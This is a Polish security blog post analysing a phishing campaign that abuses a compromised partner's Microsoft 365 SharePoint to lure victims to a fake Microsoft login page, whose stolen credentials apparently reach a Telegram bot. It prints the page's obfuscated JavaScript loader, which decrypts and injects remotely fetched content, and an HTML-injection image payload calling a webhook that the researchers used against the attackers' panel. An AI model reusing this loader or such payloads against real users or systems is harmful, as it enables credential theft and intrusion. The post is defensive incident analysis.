Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Phishing na celowniku: analiza najnowszych sztuczek cyberoszustów

07 października 2024, 19:59 | Aktualności | komentarze 4

3 października 2024 roku jeden z uczestników Sekurak Academy podzielił się swoimi wątpliwościami co do otrzymanego maila. Sądził, że mógł stać się celem ataku – numeracja faktury załączonej do e-maila odbiegała od używanego w firmie standardu. Zrzut ekranu otrzymanej wiadomości przekazał naszym analitykom. Akcje użytkownika uchroniły firmę przed potencjalnym atakiem, a nam pozwoliły uważnie przyjrzeć się działaniom cyberprzestępców i podzielić się naszymi obserwacjami w tym wpisie.

Poniżej widzimy wiadomość, którą otrzymał użytkownik:

E-mail nie trafił do folderu spam, gdyż wysłano go z realnego środowiska Microsoft, tj. istniejącej organizacji na platformie Microsoft 365. Prawdopodobnie adres e-mail kontrahenta został już wcześniej przejęty przez atakujących, co znacząco podnosiło wiarygodność przygotowanego ataku.

Analiza kampanii phishingowej

Poniżej przedstawiamy analizę ataku oraz metod użytych przez cyberprzestępców.

Po kliknięciu w otrzymany odnośnik, otwiera się strona do uwierzytelnienia, która prosi o potwierdzenie tożsamości z wykorzystaniem jednorazowego kodu, wysyłanego na adres e-mail podany przez użytkownika. 

Pierwszy etap wykorzystuje dobrze znany i budzący zaufanie system Microsoftu. Wykorzystanie tego mechanizmu ma za zadanie uśpić czujność ofiary, która być może (lub nie) zauważyła zmienioną numerację dokumentu. Po zweryfikowaniu kodem, aplikacja otwiera dokument PDF w oknie przeglądarki. Dochodzimy do punktu kulminacyjnego ataku – przestępca używa dokumentu wyglądającego jak strona platformy Sharepoint, zachęcającą do otwarcia pliku poprzez kliknięcie w przycisk Open.

Kliknięcie przycisku powoduje uruchomienie rzeczywistej strony phishingowej:

W pasku adresu tym razem widać adres inny od oryginalnych hostów usług Microsoft.

Zajmijmy się analizą samej strony phishingowej. Tutaj należy przyznać, że atakujący poświęcili dużo pracy na przygotowanie jak najbardziej wiarygodnej, a zarazem trudnej do wykrycia, kopii ekranu logowania do usług Microsoft:

  • pierwsze, co użytkownik zobaczył po wejściu w kopię strony, to animacja ikony niebieskiego listu;
  • cała strona jest w pełni responsywna i nie ma odnośników do innych usług MS;
  • w źródle strony kod odpowiedzialny za wygląd i mechanikę panelu logowania jest obfuskowany w JavaScript;
  • w źródle strony sporo informacji zawierających treści udające legalną witrynę internetową ukryto za pomocą CSS (display: none) w celu ominięcia heurystyki silników wykrywających strony phishingowe.

Użyte biblioteki szyfrujące (obfuskacja):

<script src=”https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js„>

Przykładowy kod pobierający obfuskowaną zawartość z innego serwera:

<script>
async function kamikaze(cache) { var {a,b,c,d} =  JSON.parse(cache);
return  CryptoJS.AES.decrypt(a, CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d), CryptoJS.enc.Hex.parse(b),  {hasher: CryptoJS.algo.SHA512, keySize: 64/8, iterations: 999}), {iv: CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);

}
  (async () =>  {
  document.write(await kamikaze(await  (await fetch(await kamikaze(atob(`eyJhIjoiTytqblpWMDVPdHpmVWlhUHlBQXQ4Q0Y3TWJP
YWY0b1BCZ25FdDF5UWdHaFZcL0VhXC9BUzFTN2JCRzZBSVpZcWdHIiwiYyI6IjkxODZlYm
VjMDEwNDI2MTBkMmQ3OTNlMWJhYWQ2Zjg1IiwiYiI6IjNkYTk2M2I1ZTdlOTkwNjhiNTQ2Y
TNkYTU3ZDY3YmIzNDFhNDcyNzdmNGQ5MjI4MzJjMzRhOWE0NzJkZTM0NTkyNDI2NTA4
NzlmNzY1NDQzMGU3YzdmZTJiMWU2MjQxYzkzYzNkNjM0Yjc3ODk4NjgxMzE4ZWYzZGUx
Y2I5ZTYzMWM0YTFkMzg5M2M4YjEyODcxZjA4ZmNiZDQxOWY3NDRiNzhiMTQxZDdkNTA
2YWYyNmMzNjZkZjk4MTg2ZmY3MjJlNzhjZWI1MDhlM2Q1ZGQyZDc0MTJiYzdjYWIwMWZ
kNzI1NmFlNDkxMWUxNWNiMTJlZTJiYWQzZTQwZmJkODgyMTcwYzM0MDJiNDY4M2I5Mz
MwMGYwZmRkN2ZhYmQ2ZWNmNTFiMjI2MWVmMDM4YjNkOGI4ZDQyYmIwMWQ2ZGFh
NDNlMmU5MjVhMDg1MzQxMzJiMjY5MjZiZmQwNTYzMzY0NzgwYzJhY2FjNjYxOGNkODkyZ
mE4MGQ1ODRlZDg3YjE1MmIwNTU1YjhjZmY0ZWNlNzA4OTllMTc2NzVjMmZkZjI2NDc1Y2Zi
OTc3Y2VlYzQ4NzA2M2FmNDgwOTE1YWRiZjllMzIxNGM5YmUyZjZiZjUzZjY0MWIzMjQ2NzR
mNGJiMDk1OTc2MWU4OTU0YzE2YTViMWE4ODE5MzAzMmQ5IiwiZCI6IjY3NjE2OTY1NzQ3
OSJ9`)), {
method: 'POST’, body:  JSON.stringify({ gaberdine: „yearly” })

 })).text()));  

 })();

</script>

Po załadowaniu strony, obiekt DOM wyglądał tak:

Podglądając ruch sieciowy po uruchomieniu powyższej strony, udało się ustalić, że szyfrowana zawartość (zawierająca finalny widok panelu logowania) pobierana była z serwera, którego domena wskazuje na rosyjskie pochodzenie (ta jednak, jak i pozostałe, była obsługiwana przez Cloudflare).

Do rosyjskiego serwera dojdziemy jednak ponownie w kolejnych krokach.

Przejdźmy przez cały proces logowania, by sprawdzić, co się wydarzy. Wszystko oczywiście robimy od początku do końca na maszynie wirtualnej, celem uniknięcia nieplanowanej infekcji systemu.

Podajemy dowolny, zmyślony adres e-mail. W następnym kroku aplikacja prosi o hasło, które również wymyślamy. JavaScript wysyła login i hasło do tego samego serwera, z którego pobrany był wygląd panelu.

W zapytaniu można zauważyć numeryczną nazwę pliku PHP (6973.php). Nie jest ona jednak raczej powiązana z konkretną kampanią, gdyż kolejny powtórzony test dla tego samego celu odpytywał już plik o nazwie z innym numerem.

Dzięki analizie aplikacji zebraliśmy kilka hostów, które, niestety, były ukryte za Cloudflarem, co uniemożliwia ich geolokalizację. Dodatkowo widzimy, że domena została zarejestrowana niedługo przed rozpoczęciem kampanii phishingowej.

Sprawdziliśmy wystąpienia certyfikatów. Takie działanie czasami umożliwia rozpoznanie ewentualnych subdomen oraz rzeczywistego adresu IP hosta.

Niestety, w tym przypadku dla obu hostów ani censys, ani crt.sh nie zwróciło zadowalających nas wyników.

Sprawdźmy teraz, co kryje się pod magiczną stroną utrzymywaną na rosyjskiej domenie.

Okazała się ona zwykłą zaślepką, mającą na celu prawdopodobnie uniknięcie potencjalnej detekcji jako strony niebezpiecznej, jako że nic na niej nie działało.

Postanowiliśmy jednak mimo wszystko zbadać bliżej stronę, licząc na to, że znajdziemy tam ciekawe informacje, jak chociażby logi, czy może nawet dane o przejętych kontach. Okazało się, że na serwerze znajduje się katalog /dashboard.

Niestety nie udało się odnaleźć żadnych pomocnych informacji w źródłach panelu logowania czy przy pomocy dorków. Zaniechaliśmy ofensywnych operacji z oczywistych powodów…

Korzystając z wyszukiwania tekstowego, próbowaliśmy znaleźć w sieci informacje o tym dashboardzie, bezskutecznie. Natomiast wyszukiwanie za pomocą obrazu po logo panelu pokazało nam ciekawe rezultaty.

Udało nam się odnaleźć wpis innego badacza z września tego roku, który spotkał się z podobnym atakiem, ale na innej domenie (link).

Niestety, tutaj również nie było zbyt wiele danych o samych atakujących, czy ich celach i motywacji. Postanowiliśmy więc wrócić do kroku uzupełniania danych w phishingowym formularzu logowania. Uznaliśmy, że warto wykonać próbę ataku HTML injection, na wypadek gdyby  przestępca przeglądał dane logowania w postaci HTML.

Przygotowaliśmy prosty skrypt, który wprowadziliśmy zamiast loginu i hasła:

<img src=”https://webhook.site/8006b120-[redacted]” />

Ku naszemu zaskoczeniu, w parę sekund po wprowadzeniu payloadu otrzymaliśmy informację zwrotną na przygotowany wcześniej webhook.

Zweryfikowaliśmy informacje o adresie IP, z którego nastąpiła interakcja z naszym webhookiem.

Okazało się, że adres IP należy do puli adresów aplikacji Telegram. Można podejrzewać, że przestępcy używają aplikacji, która powiadamia ich o pomyślnym przeprowadzeniu ataku – otrzymaniu danych.

Analizując cały scenariusz oraz przepływ informacji, możemy ustalić następujący przebieg wydarzeń:

  1. atakujący przejęli prawdopodobnie podobnym atakiem dane logowania kontrahenta atakowanej firmy członka Sekurak Academy;
  2. wykorzystując przechwycone dane, utworzyli zasób w Sharepoincie zaatakowanej wcześniej firmy;
  3. zasób został udostępniony między innymi naszemu członkowi SA; 
  4. otworzenie zasobu pokazywało zawartość PDF zawierającego link do rzeczywistej strony phishingowej na domenie z tld “com.de” – utrzymywanej za Cloudflare;
  5. wprowadzenie danych na złośliwej stronie przekazywało je do kolejnej aplikacji na domenie z tld “.ru”;
  6. przekazywane dane były finalnie pobierane przez bota na Telegramie i prawdopodobnie dostarczane już bezpośrednio do atakującego.

Dodatkowo przeskanowaliśmy plik PDF narzędziem ANY.RUN (przy czym jest to platforma związana z Federacją Rosyjską, dlatego trzeba brać poprawkę na wyniki zwłaszcza wschodnich kampanii), które wskazało na brak zagrożeń, co sugeruje, że samo otworzenie pliku nie było niebezpieczne. Dopiero celowe kliknięcie w przycisk Open uruchamiało złośliwą procedurę. Natomiast VirusTotal oznaczał już stronę z linka jako złośliwą.

Wnioski

Osoba, która się do nas zgłosiła, jest pracownikiem technicznym polskiej firmy. Podczas analizy incydentu zlokalizowała tylko dwie wiadomości e-mail na skrzynkach pracowników. Taka mała ilość i wcześniejsze przejęcie skrzynki kontrahenta, a także wykorzystanie domeny “.ru”, sugerują, że za atak odpowiedzialna jest prawdopodobnie grupa APT zza wschodniej granicy.

Pamiętajmy zatem, żeby weryfikować wszelkie wiadomości przychodzące na naszą skrzynkę pocztową. Jeżeli nie jesteśmy pewni, czy treść jest bezpieczna, nie bójmy się zapytać kogoś doświadczonego (np. pracowników działu IT). Wszelkie przypadki wykrycia phishingu czy scamu warto również zgłaszać do CERT-u (https://incydent.cert.pl/domena#!/lang=pl).

Autorzy: Robert “ProXy” Kruczek & Kamil Szczurowski

Redakcja: Natalia K

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. GABS

    Czy możecie napisać coś więcej o powiązaniach any.run z RU?

    Odpowiedz
    • Miki

      też chętnie poczytam więcej na ten temat

      Odpowiedz
  2. ponimir

    Czemu wymyślony e-mail i hasło? Było założyć jakiś serwer pocztowy albo choć konto na wp.

    Odpowiedz
    • Robert Kruczek

      Działaliśmy pod presją czasu, cała kampania mogła się szybko zakończyć i zostalibyśmy bez jakichkolwiek informacji. Rzeczywiście można by było podać nieprawdziwe dane do realnego serwera pocztowego w celu pozyskania adresu IP hosta, z którego nastąpiła by próba logowania. Prawdziwych danych, nawet do nowego konta nie powinniśmy podawać, ponieważ mogło by ono zostać wykorzystane w dalszej kampanii, a wówczas my z pełną premedytacją przekazując takie dane napastnikowi stajemy się współwinni.

      Odpowiedz

Odpowiedz